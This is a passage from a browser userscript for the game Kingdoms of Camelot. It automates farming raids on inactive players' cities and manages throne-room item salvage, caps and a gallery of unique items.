            for (j=1;j<=12;j++) if (FarmOptions.CityLevel[j] && t.helpArray[u][i].level == j) checkLvl=true;
            if (Seed.allianceDiplomacies.allianceName != undefined) AllianceName = Seed.allianceDiplomacies.allianceName;
            if (t.helpArray[u][i].AllianceName != AllianceName) checkAlliance = true;
            if (t.helpArray[u][i].might >= FarmOptions.MinMight && t.helpArray[u][i].might <= FarmOptions.MaxMight) checkMight = true;
            for (j in FarmOptions.Diplomacy) if (FarmOptions.Diplomacy[j] && t.helpArray[u][i].Diplomacy == j) checkDip=true;
            if (checkLvl && checkMight && checkDip && checkAlliance) t.FarmArray[u].push (t.helpArray[u][i]);
        }
        var elem = 'pdtotalFarm'+(u-1);
        if (t.FarmArray[u] == undefined) document.getElementById(elem).innerHTML = 'No Data';
        else {
				var l_ok_farms =0;
			    for (a=0;a<t.helpArray[u].length;a++){
					 if (t.helpArray[u][a]['enabled']&&((t.helpArray[u][a]['DaysInactive']=='?') ||(t.helpArray[u][a]['DaysInactive']> FarmOptions.Inactive))) l_ok_farms++;
				 }
			document.getElementById(elem).innerHTML =  '' + l_ok_farms+'/'+t.FarmArray[u].length +'/'+ t.helpArray[u].length+'';
			}

    }
  },


  SortDist: function(a,b) {
      a = parseFloat(a['dist']);
      b = parseFloat(b['dist']);
      return (a < b )? -1 : ((a > b ? 1 : 0));
  },
  
  toggleBarbState: function(obj){
    var t = Tabs.farm;
    obj = document.getElementById('FarmAttSearch');
    if (FarmOptions.Running == true) {
        FarmOptions.Running = false;
        obj.value = "Farm = OFF";
        if(document.getElementById('FarmToggleTab'))document.getElementById('FarmToggleTab').innerHTML = '<span style="color: #CCC">'+unsafeWindow.g_js_strings.grove.farms+': Off</span>';
        saveFarmOptions();
        t.nextattack = null;
    t.updateSeedTimer = null;
    } else {
        FarmOptions.Running = true;
		FarmOptions.DeleteReports = true;
        obj.value = "Farm = ON";
		if(document.getElementById('FarmToggleTab'))document.getElementById('FarmToggleTab').innerHTML = '<span style="color: #FFFF00">'+unsafeWindow.g_js_strings.grove.farms+': On</span>';
        saveFarmOptions();
        t.checkFarmData();
        t.nextattack = setInterval(t.getnextCity,(parseInt(Math.random()*3)*100+FarmOptions.SendInterval*1000));
		reloadKOC();
    }
  },
  
  barbing : function(){
         var t = Tabs.farm;
       var city = t.city;
       var u1 = FarmOptions.Troops[1];
       var u2 = FarmOptions.Troops[2];
       var u3 = FarmOptions.Troops[3];
       var u4 = FarmOptions.Troops[4];
       var u5 = FarmOptions.Troops[5];
       var u6 = FarmOptions.Troops[6];
       var u7 = FarmOptions.Troops[7];
       var u8 = FarmOptions.Troops[8];
       var u9 = FarmOptions.Troops[9];
       var u10 = FarmOptions.Troops[10];
       var u11 = FarmOptions.Troops[11];
       var u12 = FarmOptions.Troops[12];
       var now = new Date().getTime()/1000.0;
       now = now.toFixed(0);
       citynumber = Seed.cities[city-1][0];
       cityID = 'city' + citynumber;
       
       t.getAtkKnight(cityID);
	   //t.rallypointlevel = March.getRallypointLevel(cityID);
       t.rallypointlevel = March.getTotalSlots(citynumber);
       numMarches = t.rallypointlevel;
       var slots= March.getMarchSlots(citynumber);
       
       var element2 = 'pddataFarmarray'+(city-1);
       document.getElementById(element2).innerHTML =  'RP: (' + slots + '/' + numMarches +')';
       
       if (!FarmOptions.CityEnable[city]) { document.getElementById(element2).innerHTML ='Disabled';return;}
      if (Number(Number(numMarches)-Number(slots)) <= Number(FarmOptions.RallyClip)) return;
	    var Farms_count=t.FarmArray[city].length;
	   if (Farms_count==0) {document.getElementById(element2).innerHTML = 'No Farms'; return;}
       if (t.knt.toSource() == "[]") return;
        if (u1 > parseInt(Seed.units[cityID]['unt1']) || u2 > parseInt(Seed.units[cityID]['unt2']) || u3 > parseInt(Seed.units[cityID]['unt3']) || u4 > parseInt(Seed.units[cityID]['unt4']) || u5 > parseInt(Seed.units[cityID]['unt5']) || u6 > parseInt(Seed.units[cityID]['unt6']) || u7 > parseInt(Seed.units[cityID]['unt7']) || u8 > parseInt(Seed.units[cityID]['unt8']) || u9 > parseInt(Seed.units[cityID]['unt9']) || u10 > parseInt(Seed.units[cityID]['unt10']) || u11 > parseInt(Seed.units[cityID]['unt11']) || u12 > parseInt(Seed.units[cityID]['unt12'])) return;
        if (FarmOptions.FarmNumber[city]>=Farms_count) FarmOptions.FarmNumber[city]=0;
        var kid = t.knt[0].ID;

         var interval = 0;
         switch(FarmOptions.Interval){
                case "1":interval = 1;break;
                case "2":interval = 2;break;
                case "3":interval = 3;break;
                case "4":interval = 6;break;
                case "5":interval = 12;break;
                case "6":interval = 24;break;
				case "7":interval = 29;break;
				case "8":interval = 36;break;
				case "9":interval = 48;break;
				case "10":interval = 94;break;
        }
        
         var checkas=0;
		 var tmp_loop =0;
		 var Hourss_max=0;
         while (checkas == 0){
		 var Hourss =0;
         checkas=1;
		 for (i=1;i<=12;i++){
                      if (FarmOptions.Troops[i] > parseInt(Seed.units[cityID]['unt'+i])) checkas=0;
               }
           if (FarmOptions.Troops[1] == 0 && FarmOptions.Troops[2] == 0 && FarmOptions.Troops[3] == 0 && FarmOptions.Troops[4] == 0 && FarmOptions.Troops[5] == 0 && FarmOptions.Troops[6] == 0 && FarmOptions.Troops[7] == 0 && FarmOptions.Troops[8] == 0 && FarmOptions.Troops[9] == 0 &&FarmOptions.Troops[10] == 0 && FarmOptions.Troops[11] == 0 && FarmOptions.Troops[12] == 0) checkas=0;

           if (!t.FarmArray[city][FarmOptions.FarmNumber[city]]['enabled']) checkas=0;
    var farmtime = parseInt(t.FarmArray[city][FarmOptions.FarmNumber[city]]['time']);
	var AllianceName = t.FarmArray[city][FarmOptions.FarmNumber[city]]['AllianceName'];
	var l_inactive_days_koef =1;
	 if (!(!!AllianceName)) l_inactive_days_koef=0.2;
        if (farmtime>0)	{Hourss = Math.round((now - farmtime) / 3600);} else{
		    if (t.FarmArray[city][FarmOptions.FarmNumber[city]]['DaysInactive'] =="?"||(farmtime==0&&t.FarmArray[city][FarmOptions.FarmNumber[city]]['DaysInactive']>=FarmOptions.Inactive*l_inactive_days_koef) ) Hourss=interval+1;}
		
        if (Hourss < interval) {checkas=0;}
		
		 if (Hourss >= interval && t.FarmArray[city][FarmOptions.FarmNumber[city]]['DaysInactive']<FarmOptions.Inactive*l_inactive_days_koef)  {checkas=0;}
			  
        if (farmtime>0&&Hourss > Hourss_max&&t.FarmArray[city][FarmOptions.FarmNumber[city]]['enabled']&& t.FarmArray[city][FarmOptions.FarmNumber[city]]['DaysInactive']>=FarmOptions.Inactive*l_inactive_days_koef) {Hourss_max=Hourss;}

	  //if (checkas ==0)
        var l_farm_no = FarmOptions.FarmNumber[city];
		if (checkas == 0) {FarmOptions.FarmNumber[city]++; saveFarmOptions();}
        if (FarmOptions.FarmNumber[city]>=Farms_count) {
                   FarmOptions.FarmNumber[city]=0;
				   saveFarmOptions();
				   document.getElementById(element2).innerHTML =  'Checked all '+ (Farms_count) + ' farms';
                    //return; //
					break;
            }
       }
//if (t.FarmArray[city] == undefined) {document.getElementById(element2).innerHTML = 'No Data'; return;}
           if (checkas == 0) {
         //{actionLog(' Nothing to farm from city'+city+' next hit after:' + (interval-Hourss_max) +'hours.')};
		document.getElementById(element2).innerHTML =  'Wait.Next '+ (interval-Hourss_max) + 'h';
		   saveFarmOptions();
		 return;} else{
		
        var xcoord = t.FarmArray[city][l_farm_no]['x'];
        var ycoord = t.FarmArray[city][l_farm_no]['y'];
        var uid = t.FarmArray[city][l_farm_no]['UserId'];
           if ((numMarches - FarmOptions.RallyClip) > slots) 
		   t.checkInactives(citynumber,city,l_farm_no,xcoord,ycoord,kid,uid,u1,u2,u3,u4,u5,u6,u7,u8,u9,u10,u11,u12);
  }
  },
  
  getnextCity: function(){
    var t = Tabs.farm;
    if (!FarmOptions.Running) return;
    if(t.searchRunning) return;
    var city = t.city+1;
    if (city>Seed.cities.length){
        city=1;
    }
    t.city = city;
    t.barbing();
  },
  
  getAtkKnight : function(cityID){
     var t = Tabs.farm;
     t.knt = new Array();

     for (k in Seed.knights[cityID]){
             if (Seed.knights[cityID][k]["knightStatus"] == 1 && Seed.leaders[cityID]["resourcefulnessKnightId"] != Seed.knights[cityID][k]["knightId"] && Seed.leaders[cityID]["politicsKnightId"] != Seed.knights[cityID][k]["knightId"] && Seed.leaders[cityID]["combatKnightId"] != Seed.knights[cityID][k]["knightId"] && Seed.leaders[cityID]["intelligenceKnightId"] != Seed.knights[cityID][k]["knightId"]){
                 t.knt.push ({
                     Name:   Seed.knights[cityID][k]["knightName"],
                     Combat:    Seed.knights[cityID][k]["combat"],
                     ID:        Seed.knights[cityID][k]["knightId"],
                 });
             }
     }
     t.knt = t.knt.sort(function sort(a,b) {a = a['Combat'];b = b['Combat'];return a == b ? 0 : (a > b ? -1 : 1);});
  },
  
  doBarb: function(cityID,counter,number,xcoord,ycoord,kid,u1,u2,u3,u4,u5,u6,u7,u8,u9,u10,u11,u12){
        var t = Tabs.farm;
        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
        params.cid=cityID;
        params.type=4;
		params.kid=kid;
        params.xcoord = xcoord;
        params.ycoord = ycoord;
        if (u1>0) params.u1=u1;
        if (u2>0)params.u2=u2;
        if (u3>0)params.u3=u3;
        if (u4>0)params.u4=u4;
        if (u5>0)params.u5=u5;
        if (u6>0)params.u6=u6;
        if (u7>0)params.u7=u7;
        if (u8>0)params.u8=u8;
        if (u9>0)params.u9=u9;
        if (u10>0)params.u10=u10;
        if (u11>0)params.u11=u11;
        if (u12>0)params.u12=u12;
        params.gold =0;
      params.r1=0;
      params.r2=0;
      params.r3=0;
      params.r4=0;
      params.r5=0;
      
	           March.addMarch(params, function(rslt){
                  if (rslt.ok) {
					var slots=March.getMarchSlots(cityID);
					var element1 = 'pddataFarmarray'+(counter-1);
					document.getElementById(element1).innerHTML =  'RP: (' + slots + '/' + t.rallypointlevel +')';
					var now = new Date().getTime()/1000.0;
					now = now.toFixed(0);
					t.FarmArray[counter][number]['time'] = now;
					t.FarmArray[counter][number]['attacked']++;
					FarmOptions.FarmMarches.push ({city:counter,cityId:cityID,marchId:rslt.marchId,number:number});
					FarmOptions.FarmNumber[counter]++;
					FarmOptions.Attacks++;
					saveFarmOptions();
					document.getElementById('FarmCheck').innerHTML = "Attacks: " + FarmOptions.Attacks + " - Checks:" + FarmOptions.Checks + ' (Sent last march from city -' +counter+' Farm No.'+(number+1)+')';
                 for (i=0;i<t.helpArray[counter].length;i++){
                        for (j=0;j<t.FarmArray[counter].length;j++){
                             if (parseInt(t.FarmArray[counter][j]['x']) == parseInt(t.helpArray[counter][i]['x']) && parseInt(t.FarmArray[counter][j]['y']) == parseInt(t.helpArray[counter][i]['y'])){
                                       t.helpArray[counter][i]['time'] = t.FarmArray[counter][j]['time'];
                                       t.helpArray[counter][i]['attacked'] = t.FarmArray[counter][j]['attacked'];
                                   }    
                        }
                }
                GM_setValue('Farms_' + Seed.player['name'] + '_city_' + counter + '_' + getServerId(), JSON2.stringify(t.helpArray[counter]));
				saveFarmOptions();
				
				} else { //onFailure
                  actionLog('Send farm march FAIL :' + Seed.cities[counter-1][1] + "   To: (" + xcoord + ',' + ycoord +')'
				  +'    -> ' + rslt.error_code + ' -  ' + rslt.msg + ' -  ' + rslt.feedback);
                  }
          });
		  

  },

  clickedSearch : function (){
    var t = Tabs.farm;
    t.opt.searchType = 0;
    t.opt.maxDistance = FarmOptions.MaxDistance;
    t.opt.searchShape = 'circle';
    t.mapDat = [];
    t.firstX =  t.opt.startX - t.opt.maxDistance;
    t.lastX = t.opt.startX + t.opt.maxDistance;
    t.firstY =  t.opt.startY - t.opt.maxDistance;
    t.lastY = t.opt.startY + t.opt.maxDistance;
    t.tilesSearched = 0;
    t.tilesFound = 0;
    t.curX = t.firstX;
    t.curY = t.firstY;
    var xxx = t.MapAjax.normalize(t.curX);
    var yyy = t.MapAjax.normalize(t.curY);
    var element = 'pddataFarm'+(t.lookup-1);
    document.getElementById(element).innerHTML = 'Searching at '+ xxx +','+ yyy;
   
    setTimeout (function(){t.MapAjax.request (xxx, yyy, MAP_SFIELD, t.mapCallback)}, MAP_DELAY);
  },
  
  mapCallback : function (left, top, width, rslt){
    var t = Tabs.farm;
    if (!t.searchRunning)
      return;
    if (!rslt.ok){
      setTimeout (function(){t.MapAjax.request (left, top, width, t.mapCallback)}, MAP_DELAY);
      return;
    }
    map = rslt.data;
    for (k in map){
      var dist = distance (t.opt.startX, t.opt.startY, map[k].xCoord, map[k].yCoord);
      var CityCheck = true;
      var who = "u" + map[k].tileUserId;
      var AllianceName = "";
       if (map[k].cityName == null && map[k].misted ==false) CityCheck = false;
     if (t.isMyself(map[k].tileUserId)) CityCheck = false;
     if (map[k].tileType== 51 && CityCheck) {
            var Diplomacy = "neutral";
            for (DipStatus in t.DipArray) {
                var AllianceId = 0;
                if (rslt.userInfo[who] != undefined) AllianceId = "a" + rslt.userInfo[who].a;                
                for (alliance in Seed.allianceDiplomacies[t.DipArray[DipStatus]]) if (Seed.allianceDiplomacies[t.DipArray[DipStatus]][AllianceId] != undefined) Diplomacy = t.DipArray[DipStatus];
            }
            if (rslt.allianceNames[AllianceId] != undefined) AllianceName = rslt.allianceNames[AllianceId];
            if (Diplomacy == "neutral" && AllianceName =="") Diplomacy = "unallied";
			//AudriusPPP: have added it to avoid to big list/array witch slows down computer later
			if (map[k].tileLevel>8 && rslt.userInfo[who].m>FarmOptions.MinMight && rslt.userInfo[who].m<FarmOptions.MaxMight){
            t.mapDat.push ({time:0,empty:0,lost:false,enabled:'true',attacked:0,DaysInactive:"?",LastCheck:0,Diplomacy:Diplomacy,UserId:map[k].tileUserId,AllianceName:AllianceName,x:map[k].xCoord,y:map[k].yCoord,dist:dist,level:map[k].tileLevel,PlayerName:rslt.userInfo[who].n,cityName:map[k].cityName,might:rslt.userInfo[who].m,cityNumber:map[k].cityNum,Ore:0,Wood:0,Stone:0,Food:0,Gold:0});};
      }
    }
    t.tilesSearched += (MAP_SFIELD*MAP_SFIELD);

    t.curX += MAP_SFIELD;
    if (t.curX > t.lastX){
      t.curX = t.firstX;
      t.curY += MAP_SFIELD;
      if (t.curY > t.lastY){
        var element = 'pdtotalFarm'+(t.lookup-1);
        document.getElementById(element).innerHTML = 'Found: ' + t.mapDat.length;
        var element = 'pddataFarm'+(t.lookup-1);
        document.getElementById(element).innerHTML = "";
        GM_setValue('Farms_' + Seed.player['name'] + '_city_' + t.lookup + '_' + getServerId(), JSON2.stringify(t.mapDat));
        t.searchRunning = false;
        for (y=1;y<=8;y++) FarmOptions.FarmNumber[y] = 0;
        t.checkFarmData();
        return;
      }
    }
    var x = t.MapAjax.normalize(t.curX);
    var y = t.MapAjax.normalize(t.curY);
    var element = 'pddataFarm'+(t.lookup-1);
    document.getElementById(element).innerHTML = 'Searching at '+ x +','+ y;
    setTimeout (function(){t.MapAjax.request (x, y, MAP_SFIELD, t.mapCallback)}, MAP_DELAY);
  },
  
  stopSearch : function (msg){
    var t = Tabs.farm;
    var element = 'pddataFarm'+(t.lookup-1);
        document.getElementById(element).innerHTML = msg;
    t.searchRunning = false;
  },
  
  hide : function (){
  
  },

  show : function (){
  
  },

};


/*********************************** Throne Tab ***********************************/
Tabs.Throne = {
	tabOrder: 590,
	tabLabel: unsafeWindow.g_js_strings.throneRoom.chair,
	cont: null,
	curTabBut: null,
	curTabName: null,
	SelId: null,
	log: [],
	SalvageLog: [],
	setRepairTimer: null,
	setActionTimer: null,
	SalvageArray: [],
	SalvageRunning: false,
	LastDeleted: 0,
	MaxRows: 30,
	CompPos: 0,
	CardTypes: ["ALL", "Attack", "Defense", "Life", "Speed", "Accuracy", "Range", "Load", "MarchSize", "MarchSpeed", "CombatSkill", "IntelligenceSkill", "PoliticsSkill", "ResourcefulnessSkill", "TrainingSpeed", "ConstructionSpeed", "ResearchSpeed", "CraftingSpeed", "Upkeep", "ResourceProduction", "ResourceCap", "Storehouse", "Morale", "ItemDrop"],
	EquipType: ["ALL", "advisor", "banner", "chair", "table", "trophy", "window", "candelabrum", "hero", "statue", "pet", "tapestry"], //case sensitive for the moment.
	Faction: ["ALL", "Briton", "Fey", "Druid"],
	init: function (div) {
		var t = Tabs.Throne;
		t.cont = div;
		unsafeWindow.setFAV = t.setSalvageFAV;
		unsafeWindow.Savlage = t.setSalvageItem;
		unsafeWindow.ActionPopup = t.ActionPopup;
		unsafeWindow.postInfo = t.postInfo;
		unsafeWindow.doEquip = t.doEquip;
		unsafeWindow.fupgenh = t.fupgenh;
		var a = JSON2.parse(GM_getValue('ThroneHistory_' + getServerId(), '[]'));
		if (matTypeof(a) == 'array') t.log = a;
		var a = JSON2.parse(GM_getValue('ThroneSalvageHistory_' + getServerId(), '[]'));
		if (matTypeof(a) == 'array') t.SalvageLog = a;
		var main = '<TABLE align=center><TR><TD><INPUT class=pbSubtab ID=ptmrchSubSal type=submit value="Salvage"></td>';
		main += '<TD><INPUT class=pbSubtab ID=ptmrchSubUE type=submit value="Upgrade/Enhance"></td>';
		main += '<TD><INPUT class=pbSubtab ID=ptmrchSubEQ type=submit value="Compare"></td>';
		main += '<TD><input class=pbSubtab ID=ptmrchSubTC type=submit value="Caps"></TD>';
		main += '<TD><input class=pbSubtab ID=ptmrchSubTR type=submit value="Throne"></TD></tr>';
		main += '<tr><TD><input class=pbSubtab ID=ptmrchSubUN type=submit value="Uniques"></TD>';
		main += '</tr></table><HR class=ptThin>';
		main += '<DIV id=ThroneOutput style="margin-top:10px; background-color:white; height:680px; overflow:auto;"></div>';
		t.cont.innerHTML = main;
		t.Overv = document.getElementById('ThroneOutput');
		document.getElementById('ptmrchSubSal').addEventListener('click', e_butSubtab, false);
		document.getElementById('ptmrchSubUE').addEventListener('click', e_butSubtab, false);
		document.getElementById('ptmrchSubEQ').addEventListener('click', e_butSubtab, false);
		document.getElementById('ptmrchSubTC').addEventListener('click', e_butSubtab, false);
		document.getElementById('ptmrchSubTR').addEventListener('click', e_butSubtab, false);
		document.getElementById('ptmrchSubUN').addEventListener('click', e_butSubtab, false);
		changeSubtab(document.getElementById('ptmrchSubUE'));

		function e_butSubtab(evt) {
			changeSubtab(evt.target);
		}

		function changeSubtab(but) {
			if (but == t.curTabBut)
				return;
			if (t.curTabBut) {
				t.curTabBut.className = 'pbSubtab';
				t.curTabBut.disabled = false;
			}
			t.curTabBut = but;
			but.className = 'pbSubtab pbSubtabSel';
			but.disabled = true;
			t.curTabName = but.id.substr(9);
			t.show();
		}
		t.checkUpgradeInfo(true);
		if (ThroneOptions.Active) t.setActionTimer = setInterval(t.doAction, 10000);
		setTimeout(t.salvageCheck, 16000);
		setInterval(t.salvageCheck, 2 * 60 * 1000);
	},
	saveSalvageOptions: function () {
		for (k in unsafeWindow.cm.thronestats.effects) {
			var ele = document.getElementById('pbThroneItems' + k);
			//var ele2 = document.getElementById(k+'Min');
			ThroneOptions.Salvage[k] = ele.checked;
			//ThroneOptions.SalvageA[k].Min=ele2.value;
		}
		saveThroneOptions();
	},
	Uniques: function () {
		var t = Tabs.Throne;
		var UniqueItems = {
			Advisors: {
				"Wynn": "http://i.imgur.com/qUxIZcn.png",
				"Mordred": "http://i.imgur.com/itn5Nfn.png",
				"Kay": "http://i.imgur.com/mD3fWtb.png",
				"Warhorse": "http://i.imgur.com/770yicI.png",
				"The Harbinger": "http://i.imgur.com/O2l15bY.png",
				"Father Winter": "http://i.imgur.com/4D9wijD.png",
				"Advisor Of Magnitude A": "http://i.imgur.com/FXg8zbK.png",
				"Advisor of Magnitude B": "http://i.imgur.com/KbGP3QR.png",
				"Advisor of Discipline": "http://i.imgur.com/5Yrhp8F.png",
				"Dagonet The Court Jester": "http://i.imgur.com/29bAH99.png",
				"Minstrel": "http://i.imgur.com/hUIXhca.png",
				"Percival": "http://i.imgur.com/ei2YRFF.png",
				"Tristan": "http://i.imgur.com/dq6mD5M.png",
			},
			Thrones: {
				"Valor": "http://i.imgur.com/fIeZMXM.png",
				"Hallowed Throne": "http://i.imgur.com/m8ORCW8.png",
				"Dominance": "http://i.imgur.com/5R4RYuT.png",
				"Harmony": "http://i.imgur.com/XdpulbB.png",
				"Stalwart Throne": "http://i.imgur.com/3pI3OZj.jpg",
				"Throne of Fortune": "http://i.imgur.com/ykrqzP9.jpg",
				"Rugged Throne": "http://i.imgur.com/h3ipMz1.png",
			},
			Banners: {
				"Pendragons Banner": "http://i.imgur.com/lQ1iSSD.png",
				"Relief Banner": "http://i.imgur.com/A60lVgd.png",
				"Champions Shroud": "http://i.imgur.com/zP3Zhhs.jpg",
				"Banner of Magnitude": "http://i.imgur.com/IoIEG95.png",
				"Banner Of The Cause": "http://i.imgur.com/mlyQ3NV.jpg",
				"Unyielding Banner": "http://i.imgur.com/ldWy4t6.jpg",
				"Banner of Arms": "http://i.imgur.com/cknAh6y.png",
			},
			Windows: {
				"Window Of Shalott": "http://i.imgur.com/uJD0fOU.png",
				"Window Of Resistance": "http://i.imgur.com/34hIEq5.png",
				"Superbe Window Deal Du Jour Confusion": "http://i.imgur.com/biLx6Am.jpg",
				"Window Of The Swing": "http://i.imgur.com/7JdqyiG.jpg",
				"Window of Persistence": "http://i.imgur.com/s0IXGUo.jpg",
				"Persevering Window": "http://i.imgur.com/HGGbe5Q.jpg",
				"Warfarers Portal": "http://i.imgur.com/8z4wNcn.jpg",
				"Window of the Chalice": "http://i.imgur.com/ZelfCuL.png",
				"Beacon of Rosmerta": "http://i.imgur.com/0z9iysQ.jpg",
			},
			Candles: {
				"Merry Chandelier": "http://i.imgur.com/iBzYUh5.png",
				"Chandelier Of The Green Knight": "http://i.imgur.com/MEVEjPM.png",
				"Maganimous Chandelier": "http://i.imgur.com/CJWVQEh.jpg",
				"Candelabrum of Cruelty": "http://i.imgur.com/Iu2BCQ8.png",
			},
			Tables: {
				"Dark Master Jack": "http://i.imgur.com/2ThozSy.png",
				"Healers Shrine": "http://i.imgur.com/clPMfAQ.png",
				"Skillful Table": "http://i.imgur.com/zk18k12.png",
				"Bombardment Table": "http://i.imgur.com/o4slc5U.png",
				"Castellans Table": "http://i.imgur.com/mQ8s7RS.gif",
				"Warmongers Table": "http://i.imgur.com/7DcY81I.jpg",
				"Hywelbanes Plaque": "http://i.imgur.com/qABdJ9T.jpg",
				"Rejuvination Trough": "http://i.imgur.com/zH4wteH.jpg",
			},
			Trophies: {
				"Courageous Trophy": "http://i.imgur.com/ODDVqwD.png",
				"Sir Galahads Shield": "http://i.imgur.com/SKoz0WJ.jpg",
			},
			Heros: {
				"Guileful Ranger": "http://i.imgur.com/uQ8YSwV.jpg",
				"Grand Siegemaster": "http://i.imgur.com/YIdZF6M.jpg",
				"Elite Guard": "http://i.imgur.com/3gRUVuo.jpg",
				"Robin The Courageous": "http://i.imgur.com/wWxlfWv.png",
			},
			Statues: {
				"Monument to Llamrei": "http://i.imgur.com/yxe5FM9.jpg",
				"The Huntress": "http://i.imgur.com/ddzF7Q2.jpg",
				"Castle Tauroc": "http://i.imgur.com/OI6UP85.jpg",
				"Effigy of Wasting": "http://i.imgur.com/t8uIVP3.jpg",
			},
			Pets: {
				"Savage Wolf": "http://i.imgur.com/x9Ho5LU.jpg",
				"Regal Phoenix": "http://i.imgur.com/My6VcEW.jpg",
				"Noble Stag": "http://i.imgur.com/IiCkrM7.jpg",
			},
			Tapestries: {
				"Tapestry of Conquest": "http://i.imgur.com/YiZQDKK.jpg",
			},
		}
		unsafeWindow.pbshowunique = showUnique;
		m = '<table><tr><td width=400px>Uniques</td><td width=400px>Panel A</td><td width=400px>Panel B</td></tr><tr><td style="vertical-align:top">';
		for (var i in UniqueItems) {
			m += '<div class="pbdivHeader" align=left><a id=' + i + 'Hdr class=pbdivLink >' + i + '&nbsp;<img id=' + i + 'Arrow height="10" src="https://kabam1-a.akamaihd.net/kingdomsofcamelot/fb/e2/src/img/autoAttack/down_arrow.png"></a></div>'
			m += '<div id=' + i + ' align=left class=""><table>';
			for (var k in UniqueItems[i]) {
				m += '<tr><td width=15px><a onClick=\'pbshowunique("panelA", "' + k + '","' + i + '")\'>A</a></td><td width=15px><a onClick=\'pbshowunique("panelB", "' + k + '","' + i + '")\'>B</a></td><td>' + k + '</td></tr>';
			}
			m += '</table></div>';
		}
		m += '</td><td id=panelA style="vertical-align:top"></td><td id=panelB style="vertical-align:top"></td></tr>';
		m += '</table>';
		t.Overv.innerHTML = m;

		function showUnique(panel, name, type) {
			switch (type) {
			case "Advisors":
				document.getElementById(panel).innerHTML = '<img src=' + UniqueItems.Advisors[name] + '>';
				break;
			case "Thrones":
				document.getElementById(panel).innerHTML = '<img src=' + UniqueItems.Thrones[name] + '>';
				break;
			case "Banners":
				document.getElementById(panel).innerHTML = '<img src=' + UniqueItems.Banners[name] + '>';
				break;
			case "Windows":
				document.getElementById(panel).innerHTML = '<img src=' + UniqueItems.Windows[name] + '>';
				break;
			case "Candles":
				document.getElementById(panel).innerHTML = '<img src=' + UniqueItems.Candles[name] + '>';
				break;
			case "Tables":
				document.getElementById(panel).innerHTML = '<img src=' + UniqueItems.Tables[name] + '>';
				break;
			case "Trophies":
				document.getElementById(panel).innerHTML = '<img src=' + UniqueItems.Trophies[name] + '>';
				break;
			case "Heros":
				document.getElementById(panel).innerHTML = '<img src=' + UniqueItems.Heros[name] + '>';
				break;
			case "Statues":
				document.getElementById(panel).innerHTML = '<img src=' + UniqueItems.Statues[name] + '>';
				break;
			case "Pets":
				document.getElementById(panel).innerHTML = '<img src=' + UniqueItems.Pets[name] + '>';
				break;
			case "Tapestries":
				document.getElementById(panel).innerHTML = '<img src=' + UniqueItems.Tapestries[name] + '>';
				break;
			}
		}
		for (var j in UniqueItems) {
			(function (j) {
				document.getElementById(j + 'Hdr').addEventListener('click', function () {
					ToggleDivDisplay(500, 500, j);
				}, false);
			})(j);
		}
	},
	Caps: function () {
		var t = Tabs.Throne;
		m = '<DIV class=ptstat><b>Throne Room Caps</b></div><TABLE border=2px align=center>';
		m += '<TR><TD width="150px"><B>Boost Name</b></td><TD width="50px"><B>Max</b></td><TD><B>Min</b></td><TD style="border:0;width:50px"></td><TD width="150px"><B>Boost Name</b></td><TD width="50px"><B>Max</b></td><TD width="50px"><B>Min</b></td></tr><TR>';
		var counter = 0;
		for (k in unsafeWindow.cm.thronestats.boosts) {
			counter++
			var boost = unsafeWindow.cm.thronestats.boosts[k]
			m += '<TD>' + boost.BoostName + '</td><TD>' + boost.Max + '<SPAN id=maxPerc_' + k + '></div></td><TD>' + boost.Min + '<SPAN id=minPerc_' + k + '></div>';
			if (counter % 2 == 0) {
				m += '<TR>';
			} else {
				m += '</td><TD style="border:0">';
			}
		}
		t.Overv.innerHTML = m;
		for (k in unsafeWindow.cm.thronestats.boosts) {
			var boost = unsafeWindow.cm.thronestats.boosts[k]
			if (boost.CapType == "percent") {
				document.getElementById('maxPerc_' + k).innerHTML = '%'
				if (boost.Min != "none") {
					document.getElementById('minPerc_' + k).innerHTML = '%'
				}
			}
		}
	},
	Salvage: function () {
		var t = Tabs.Throne;
		try {
			m = '<DIV id=pbTowrtDivF class=pbStat>AUTOMATED SALVAGE FUNCTION</div><TABLE id=pbbarbingfunctions width=100% class=pbTab>';
			m += '<TR><TD><INPUT type=submit id=pbsalvage_run value="Auto Salvage = ' + (Options.ThroneDeleteItems ? 'ON' : 'OFF') + '" /></td><TD><INPUT id=ShowSalvageHistory type=submit value="History"></td><TD><b>Keep cards</b> with <INPUT type=text id=pbthrone_keep size=3 value="' + ThroneOptions.thronekeep + '" /> attributes</td></tr>';
			m += '<TR><TD>Keep above: ' + htmlSelector({
				0: 'ALL',
				1: translate('Common'),
				2: translate('Uncommon'),
				3: translate('Rare'),
				4: translate('Epic'),
				5: translate('Wondrous')
			}, ThroneOptions.SalvageQuality, 'id=Quality') + '</td>';
			m += '<TD>Keep first <INPUT type=text id=saveXitems size=2 maxlength=2 value=' + ThroneOptions.saveXitems + '> cards.</td></table>';
			m += '<table><TR><TD colspan=3><INPUT id=SingleStat type=checkbox ' + (ThroneOptions.SingleStat ? 'CHECKED ' : '') + '/>&nbsp; No mixed, Single Attribute cards only(required for min number of lines)</TD></TR>';
			m += '<TR><TD colspan=3><INPUT id=pbsalvage_cityspire type=checkbox ' + (ThroneOptions.CitySpire ? 'CHECKED ' : '') + '/>&nbsp; Deposit aetherstone in cities with Fey Spire first before other cities</TD></TR>';
			m += '<TR><TD colspan=3><INPUT id=Cityrand type=checkbox ' + (ThroneOptions.Cityrand ? 'CHECKED ' : '') + '/>&nbsp; Deposit aetherstone in random city order (this keeps aetherstone in all / Fey Spire cities for crafing purposes)</TD></TR>';
			m += '<TR><TD colspan=3><INPUT id=pbsalvage_unique type=checkbox ' + (ThroneOptions.SaveUnique ? 'CHECKED ' : '') + '/>&nbsp; Save all cards marked as unique</TD></TR>';
			m += '<TR><TD colspan=3><INPUT id=pbheatup type=checkbox ' + (ThroneOptions.heatup ? 'CHECKED ' : '') + '/>&nbsp; Upgrade cards before salvaging to increase aetherstone and heat up modifier</TD></TR>';
			m += '<TR><TD clospan=3>Ignore attributes visually above ' + htmlSelector({
				1: 'none',
				2: 'Slot 2:Uncommon (WARNING Set keep cards to 4 or less)',
				3: 'Slot 3:Rare(WARNING Set keep cards to 3 or less)',
				4: 'Slot 4:Epic (WARNING Set keep cards to 2 or less)',
				5: 'Slot 5:Wonderous (WARNING Set keep cards to 1)'
			}, ThroneOptions.SalvageLevel, 'id=SLevel') + '</TD></TR>';
			m += '<tr><td colspan=3><INPUT id=shero type=checkbox ' + (ThroneOptions.savehero ? 'CHECKED ' : '') + '/>&nbsp; Save all heroes</TD></TR>';
